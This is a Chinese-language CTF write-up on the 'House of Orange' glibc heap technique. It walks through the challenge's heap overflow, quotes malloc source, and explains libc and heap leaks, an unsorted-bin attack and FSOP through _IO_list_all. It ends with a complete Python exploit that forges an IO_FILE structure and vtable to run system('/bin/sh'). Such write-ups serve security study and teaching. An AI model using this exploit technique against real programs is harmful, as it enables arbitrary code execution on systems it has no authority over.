目录
House_of_orange 堆溢出 前几天把House of orange
重新学习了一下,比照着glibc
malloc
的源码好好分析了一下,希望做到真正做到知其然亦知其所以然,其中所做的笔记如下,可能描述上有点乱,大家将就着看一下吧。同时,我也发在了我个人博客上面 (http://blog.leanote.com/simp1e ), 如果有错误的地方,请各位大牛多多指正。
0x00 程序描述大名鼎鼎的house_of_orange
程序逻辑还比较清晰的,一共可以build
四次,然后每次build
的话就是3次堆分配,两次malloc
,一次calloc
,其中一次malloc
是固定分配0x10
字节作为控制堆块,里面存放着name
和color
的信息,另外按输入分配name
的大小。
0x01 程序漏洞 1. 堆溢出
在upgrade
函数中,修改name
时候不顾实际chunk
的堆大小是多少,直接进行编辑,最大可编辑0x1000
大小,因而存在溢出。
0x02 漏洞利用这里的利用思路是4ngelboy
给出,下面就直接分析这样利用的原因。
1. 信息泄露 (泄露libc地址)因为程序中有堆的越界写,可以修改top_chunk
的大小。在malloc源码里面如果申请的堆块大小超过了top_chunk
的大小,将调用sysmalloc
来进行分配。sysmalloc
里面针对这种情况有两种处理,一种是直接mmap
出来一块内存,另一种是扩展top_chunk
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
(mp_.n_mmaps < mp_.n_mmaps_max))
{
char *mm; /* return value from mmap call*/
try_mmap:
就是如果申请大小>=mp_.mmap_threshold
,就会mmap
。我们质只要申请不要过大,一般不会触发这个,这个mmap_threshold
的值为128*1024
。 不过下面还有两个assert
需要检查,如下
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
第一个assert
就是要求修改后的top_chunk_size
必须满足
top_chunk_size
>MINSIZE(MINISIZE)没有查到是多少,反正不要太小都行
top_chunk
需要有pre_in_use的标志,就是最后一个比特为1
还有就是(old_end &pagemask ==0)#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
这里没有太深究,应该就是top_chunk
需要和原来的堆页在一个页上吧。 第二个assert
就是要求
top_chunk_size
小于申请分配的内存即可 满足以上四个条件之后,继续往下执行最后把原先的那个old_top
给释放掉了,如下
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
显然,这样的free
操作的话,我们就可以得到一个unsort_bin
,然后之后再次分配时候如果是符合unsort_bin
大小的话,就会从unsort_bin
里面切出来。
这样的话我们再次申请一个堆块分配到这块区域中就能泄露libc
地址了,但是这里又有一个trick
,如果我们分配的大小是large_chunk
的话。malloc
源码中还把old_top
的堆地址放到了堆里面(没有细究原因,但是好像是large bin没有区分大小,需要有个字段来保存大小的原因吧),源码如下
所以如果再次分配时候如果分配大小为largebin
(也就是大于512字节)的chunk
的话,就是可以既泄露libc
又可以泄露heap
。如下
而如果分配大小不到512字节时候是无法泄露堆地址的。
2. 劫持流程 File Stream Oriented Programming我们知道有rop
即retn Oriented Programming
,那么其实File Stream Oriented Programming
是一个道理的。也是一种劫持程序流程的方法,只不过方式是通过攻击File Stream
来实现罢了。 我们先要了解malloc
对错误信息的处理过程,malloc_printerr
是malloc
中用来打印错误的函数。
malloc_printerr
其实是调用__libc_message
函数之后调用abort
函数,abort
函数其中调用了_IO_flush_all_lockp
,这里面用到IO_FILE_ALL
里面的结构,采用的是虚表调用的方式。
其中使用到了IO_FILE
对象中的虚表,如果我们能够修改IO_FILE
的内容那么就可以一定程度上劫持流程。IO_FILE_ALL
是一个指向IO_FILE_plus
的结构指针,结构如下图所示,具体结构不需要太了解清晰,大概懂一些也就行。
那么怎么劫持呢,这里又需要用到unsortbin attack
的知识。unsortbin attack
是怎么一回事呢,其实就是在malloc
的过程中,unsortbin
会从链表上卸下来(只要分配的大小不是fastchunk
大小)
如上代码所示,就是会把bk+0x10
的地方写入本unsort_bin的地址, 我们通过内存断点来观察一下是如何进行的。 断点触发之后,发现io_file_all
被修改成了指向top_chunk
的指针时间地址位于main_arena
。 但是我们是无法控制main_arena
的内容的,至少全部控制是不行的,那么怎么处理呢? 这里还是要牵扯到io_file
的使用,IO_FILE
结构中有一个字段是chian
字段,它位于0x60偏移处,他指向的是下一个IO_FILE
结构体,我们如果可以控制这个字段,就再次指定io_file
的位置,它相当于是一个链表的结构 这样的话又联系到smallchunk
的问题,在拆卸unsort_bin时候对属于small_bin
的chunk进行了记录操作。 这个时候IO_FILE_all
指向的正是main_arena
的bins里面unsortbin
的位置,那么偏移0x60
处正好是,smallchunk
的index为6的地方,也就是满足大小为16*6
的chunk,所以upgrade
时候需要把unsortbin
设置为0x60
大小。
while (fp != NULL)
{
…
fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
因为第一个分配在main_arena
的IO_FILE_plus
结构的fp->mode
等值不符合要求,就会通过chains
跳转到就下一个IO_FILE_plus
就是我们之前设置的unsortbin
,然后需要满足一下条件
fp->mode>0
_IO_vtable_offset (fp) ==0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 这里的话我就是把wide_data的IO_wirte_ptr
就指向read_end
就可以,然后就会调用虚表+0x18偏移处的函数了。
0xFE 利用exp#coding:utf-8
from zio import *
from pwn import *
import mypwn
def menu(io,choice):
io.read_until('Your choice :')
io.writeline(str(choice))
def build(io,len,name,price,color):
menu(io,1)
io.read_until('name :')
io.writeline(str(len))
io.read_until('Name :')
io.write(name)
io.read_until('Price of Orange:')
io.writeline(str(price))
io.read_until(' Orange:')
io.writeline(str(color))
def see(io):
menu(io,2)
def upgrade(io,nlen,nname,nprice,ncolor):
menu(io,3)
io.read_until('name :')
io.writeline(str(nlen))
io.read_until('Name:')
io.write(nname)
io.read_until('Price of Orange:')
io.writeline(str(nprice))
io.read_until(' Orange:')
io.writeline(str(ncolor))
if __name__ == '__main__':
binary_path = "./houseoforange"
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
target = binary_path
bin=ELF(binary_path)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
if target==binary_path:
l=ELF("/lib/x86_64-linux-gnu/libc.so.6")
offset_main_arena=l.symbols['__malloc_hook']+0x20
else:
pass
#l=ELF("")
#offset_main_arena
build(io,0x80,'simp1e',0x1234,0xddaa)
fake_color=p32(666)+p32(0xddaa)
overflow_name='a'*0x90+fake_color+p64(0)*2+p64(0xf31)
upgrade(io,0xb1,overflow_name,666,0xddaa)
build(io,0x1000,'1'+'\n',0x1234,0xddaa)
build(io,0x400,"a"*8,199,2)
see(io)
io.read_until('Name of house : '+'a'*8)
data=io.read_until('\n')[:-1]
io.gdb_hint()
heap_ptr=mypwn.uu64(data)
real_main_arena=heap_ptr-0x668
mypwn.log('heap_ptr',heap_ptr)
mypwn.log('real_main_arena',real_main_arena)
libc_base=real_main_arena-offset_main_arena
real_system=libc_base+l.symbols['system']
upgrade(io,0x400,"b"*0x10,666,2)
see(io)
io.read_until('Name of house : '+'b'*0x10)
data=io.read_until('\n')[:-1]
heap_ptr=mypwn.uu64(data)
mypwn.log('heap_ptr',heap_ptr)
mypwn.log('_IO_list_all',l.symbols['_IO_list_all'])
io_list_all=libc_base+l.symbols['_IO_list_all']
vtable_addr=heap_ptr + 0x530-8
payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
fake_chunk='/bin/sh\x00'+p64(0x61)#why ? io_file?
fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(heap_ptr+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(1)
payload+=fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(real_system)
upgrade(io,0x800,payload,666,2)
io.interact()
0xff 参考资料
http://4ngelboy.blogspot.ca/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
http://www.cnblogs.com/shangye/p/6268981.html
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
第五届安全开发者峰会(SDC 2021)议题征集正式开启!
上传的附件: